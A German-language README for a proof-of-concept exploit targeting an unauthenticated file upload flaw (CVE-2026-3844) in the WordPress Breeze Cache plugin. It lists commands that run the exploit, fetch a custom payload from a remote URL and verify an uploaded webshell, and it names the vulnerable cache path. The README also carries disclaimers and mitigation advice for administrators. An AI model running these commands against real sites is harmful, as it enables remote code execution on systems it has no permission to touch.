CVE-2026-3844 — WordPress Breeze Cache Unauthenticated File Upload

Übersicht

Dieses Repository enthält ein Python-Proof-of-Concept-Skript (PoC) zur Demonstration einer Unauthenticated Arbitrary File Upload-Schwachstelle, die das WordPress Breeze Cache Plugin <= 2.4.4 betrifft.

⚠️ Dieses Projekt ist ausschließlich für autorisierte Sicherheitstests, Bildungsforschung und defensive Validierung gedacht.

Schwachstelleninformationen

CVE-ID: CVE-2026-3844
Betroffenes Plugin: Breeze Cache für WordPress
Betroffene Versionen: <= 2.4.4
Problemtyp: Unauthenticated Arbitrary File Upload
Auswirkung: Potenzielle Remote Code Execution (RCE)
Angriffsvektor: Remote / Unauthenticated

Die Schwachstelle missbraucht die Gravatar-Caching-Funktionalität von Breeze Cache, um vom Angreifer kontrollierte Dateien im WordPress-Cache-Verzeichnis zu speichern.

Funktionen

Erkennungsmodus für Schwachstellen
Automatisierter Exploit-Workflow
Webshell-Verifizierungsunterstützung
Farbige Terminalausgabe
Remote-Payload-Laden
Upload-Verifizierungsprüfungen
Optionale Ausgabeprotokollierung

Anforderungen

Python 3.8+
pycurl
termcolor

Abhängigkeiten installieren:

pip install pycurl termcolor

Dateien

Datei	Beschreibung
`CVE-2026-3844.py`	Haupt-PoC-Exploit-Skript
`CVE-2026-3844.yaml`	YAML-Vorlage/Konfiguration

Verwendung

Prüfen, ob das Ziel verwundbar erscheint

python3 CVE-2026-3844.py -u http://target.com --check-only

Exploit ausführen

python3 CVE-2026-3844.py -u http://target.com

Benutzerdefinierter Payload

python3 CVE-2026-3844.py -u http://target.com -p https://example.com/payload.php

Ergebnisse speichern

python3 CVE-2026-3844.py -u http://target.com -o results.txt

So funktioniert es

Das Skript führt die folgenden Schritte aus:

Erkennt die installierte Breeze-Cache-Version
Prüft, ob die Plugin-Version verwundbar ist
Übermittelt eine manipulierte WordPress-Kommentaranfrage
Missbraucht die Gravatar-Verarbeitung des Breeze-Caches
Wartet auf die Cache-Generierung
Verifiziert, ob die hochgeladene Datei zugänglich wird
Testet die Payload-Reaktionsfähigkeit

Verwundbarer Pfad

Der hochgeladene Payload kann möglicherweise über folgenden Pfad zugänglich sein:

/wp-content/cache/breeze-extra/gravatars/

Hinweise

Eine erfolgreiche Ausnutzung kann von der folgenden Breeze-Einstellung abhängen:

Host Files Locally - Gravatars

Wenn die Funktion deaktiviert ist, können Exploit-Versuche fehlschlagen.

Beispielausgabe

[+] Target VULNERABLE (Breeze v2.4.4)
[+] Comment posted successfully
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/random.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

Haftungsausschluss

Dieses Repository wird bereitgestellt für:

Sicherheitsforschung
Bildungszwecke
Autorisierte Penetrationstests
Defensive Sicherheitsbewertungen

Verwenden Sie dieses Projekt nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben.

Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Projekt verursacht werden.

Empfehlungen zur Schadensbegrenzung

Website-Administratoren sollten:

Breeze Cache auf die neueste gepatchte Version aktualisieren
Nicht benötigte Datei-Caching-Funktionen deaktivieren
Gefährliche Datei-Uploads einschränken
PHP-Ausführung in Cache-Verzeichnissen deaktivieren
/wp-content/cache/ auf verdächtige Dateien überwachen
Eine Web Application Firewall (WAF) bereitstellen
Strikte serverseitige Validierung durchsetzen

Erklärung zum Bildungszweck

Dieses Proof-of-Concept wurde erstellt, um:

Sicherheitsforschern
Penetrationstestern
Blue Teams
WordPress-Administratoren
Entwicklern

zu helfen, die Sicherheitsrisiken im Zusammenhang mit unsicheren Caching-Mechanismen und beliebigen Datei-Uploads zu verstehen.

Referenzen

CVE-Datenbank
WordPress-Sicherheitshinweise
OWASP-Richtlinien zur Datei-Upload-Sicherheit
Breeze Cache Plugin-Dokumentation

Autor

Sicherheitsforschung / Bildungsprojekt

CVE-2026-3844

Beliebteste